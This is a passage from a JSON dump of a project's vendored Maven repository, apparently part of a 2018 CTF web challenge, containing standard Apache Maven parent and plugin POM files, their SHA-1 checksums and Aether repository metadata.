<artifactId>maven-deploy-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <!--<plugin>\n        Uncomment after alpha-4 is released...we have check or egg here doing the release that introduces the rule that is needed.\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.0-alpha-4</version>\n        </plugin>-->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-docck-plugin</artifactId>\n          <version>1.0-beta-2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0-alpha-4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-invoker-plugin</artifactId>\n          <version>1.2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.2</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.4.2</version>\n        </plugin>\n        <!-- START SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-7</version>\n          <configuration>\n            <!-- This element will be overriden by children -->\n            <tagBase>https://svn.apache.org/repos/asf/maven/pom/tags</tagBase>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Prelease</arguments>\n          </configuration>\n        </plugin>\n        <!-- END SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.2</version>\n          <configuration>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0-beta-7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.0-alpha-21</version>\n        </plugin>\n        <!-- set versions of common reporting plugins for site reproducibility, ordered alphabetically -->\n        <!-- won't help until MNG-3385 is fixed\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-checkstyle-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jxr-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-pmd-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-project-info-reports-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-report-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>cobertura-maven-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>taglist-maven-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>-->\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n        \n          <!--<plugin>\n          Clirr needs to be more flexble before we can force this everywhere. New releases that don't have previous artifacts to compare cause Clirr to blow up. And Clirr needs to be smart enough to only look at the previous release artifact so we can make this work during snapshot builds, otherwise it just blows up when you try to do a release.\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>-->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n            <executions>\n              <execution>\n                <id>cpd-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <phase>clean</phase>\n                <goals>\n                  <goal>clean</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.1</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.4.3</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.2</version>\n            <configuration>\n              <configLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml</configLocation>\n              <headerLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <rulesets>\n                <ruleset>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.1</version>\n            <configuration>\n              <inputEncoding>${project.build.sourceEncoding}</inputEncoding>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n              <links>\n                <link>http://java.sun.com/j2se/1.4.2/docs/api</link>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n                <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://commons.apache.org/dbcp/apidocs/</link>\n                <link>http://commons.apache.org/fileupload/apidocs/</link>\n                <link>http://commons.apache.org/httpclient/apidocs/</link>\n                <link>http://commons.apache.org/logging/apidocs/</link>\n                <link>http://commons.apache.org/pool/apidocs/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://jakarta.apache.org/regexp/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <version>2.2.2</version>\n          </plugin-->\n        </plugins>\n      </reporting>\n    </profile>\n    <!-- START SNIPPET: release-profile -->\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <altDeploymentRepository>${deploy.altRepository}</altDeploymentRepository>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n            </configuration>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin-->\n        </plugins>\n      </build>\n    </profile>\n    <!-- END SNIPPET: release-profile -->\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/9/maven-parent-9.pom.sha1",
    "content": "a7d098bde368f683c2b51475a903a1e74b61ba32"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:28 CST 2018\nmaven-plugin-api-2.0.6.jar>central=\nmaven-plugin-api-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.6/maven-plugin-api-2.0.6.jar.sha1",
    "content": "52b32fd980c8ead7a3858d057330bda1ace72d9d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.6/maven-plugin-api-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-plugin-api</artifactId>\n  <name>Maven Plugin API</name>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.6/maven-plugin-api-2.0.6.pom.sha1",
    "content": "3af72b052dfefb73ecfae742613012b5396c8863"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:31 CST 2018\nmaven-plugin-api-2.0.9.jar>central=\nmaven-plugin-api-2.0.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.9/maven-plugin-api-2.0.9.jar.sha1",
    "content": "8b8cae9daa688fdb57995c6835a3e24475d554c0"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.9/maven-plugin-api-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-plugin-api</artifactId>\n  <name>Maven Plugin API</name>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.9/maven-plugin-api-2.0.9.pom.sha1",
    "content": "4f6c3d5d50d1e22dea74629b3c52e22b30b6cbbd"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:18 CST 2018\nmaven-plugin-api-2.2.1.jar>central=\nmaven-plugin-api-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.2.1/maven-plugin-api-2.2.1.jar.sha1",
    "content": "d60c36b60f760e0b5b87dd0c6311f93a72dc4585"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.2.1/maven-plugin-api-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-plugin-api</artifactId>\n\n  <name>Maven Plugin API</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.2.1/maven-plugin-api-2.2.1.pom.sha1",
    "content": "29a30b7c8180601523293fd61b00fcb298d32230"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/3.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nmaven-plugin-api-3.0.jar>central=\nmaven-plugin-api-3.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/3.0/maven-plugin-api-3.0.jar.sha1",
    "content": "98f886f59bb0e69f8e86cdc082e69f2f4c13d648"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/3.0/maven-plugin-api-3.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>3.0</version>\n  </parent>\n\n  <artifactId>maven-plugin-api</artifactId>\n\n  <name>Maven Plugin API</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <exclusions>\n        <exclusion>\n          <artifactId>wagon-provider-api</artifactId>\n          <groupId>org.apache.maven.wagon</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.sisu</groupId>\n      <artifactId>sisu-inject-plexus</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <models>\n            <model>src/main/mdo/lifecycle.mdo</model>\n          </models>\n          <version>1.0.0</version>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/3.0/maven-plugin-api-3.0.pom.sha1",
    "content": "9627e130b4f516945f0db03119dbafb86f168026"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-plugin-descriptor-2.0.6.jar>central=\nmaven-plugin-descriptor-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.6/maven-plugin-descriptor-2.0.6.jar.sha1",
    "content": "30a00f4ef12d3901c4f842de99e9363e3743245f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.6/maven-plugin-descriptor-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-plugin-descriptor</artifactId>\n  <name>Maven Plugin Descriptor Model</name>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <model>src/main/mdo/lifecycle.mdo</model>\n          <version>1.0.0</version>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.6/maven-plugin-descriptor-2.0.6.pom.sha1",
    "content": "c03fb59f559651730a98907d4acf65e6ffb886d6"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:31 CST 2018\nmaven-plugin-descriptor-2.0.9.jar>central=\nmaven-plugin-descriptor-2.0.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.9/maven-plugin-descriptor-2.0.9.jar.sha1",
    "content": "10443d038cd57feb4a027e7dfe09bed0925a1953"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.9/maven-plugin-descriptor-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-plugin-descriptor</artifactId>\n  <name>Maven Plugin Descriptor Model</name>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <model>src/main/mdo/lifecycle.mdo</model>\n          <version>1.0.0</version>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.9/maven-plugin-descriptor-2.0.9.pom.sha1",
    "content": "2752f80f21bd62796600c66859406a08a587c2d9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nmaven-plugin-descriptor-2.2.1.jar>central=\nmaven-plugin-descriptor-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.2.1/maven-plugin-descriptor-2.2.1.jar.sha1",
    "content": "68d20ae3c40c4664dc52be90338af796db7ffb32"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.2.1/maven-plugin-descriptor-2.2.1.pom",
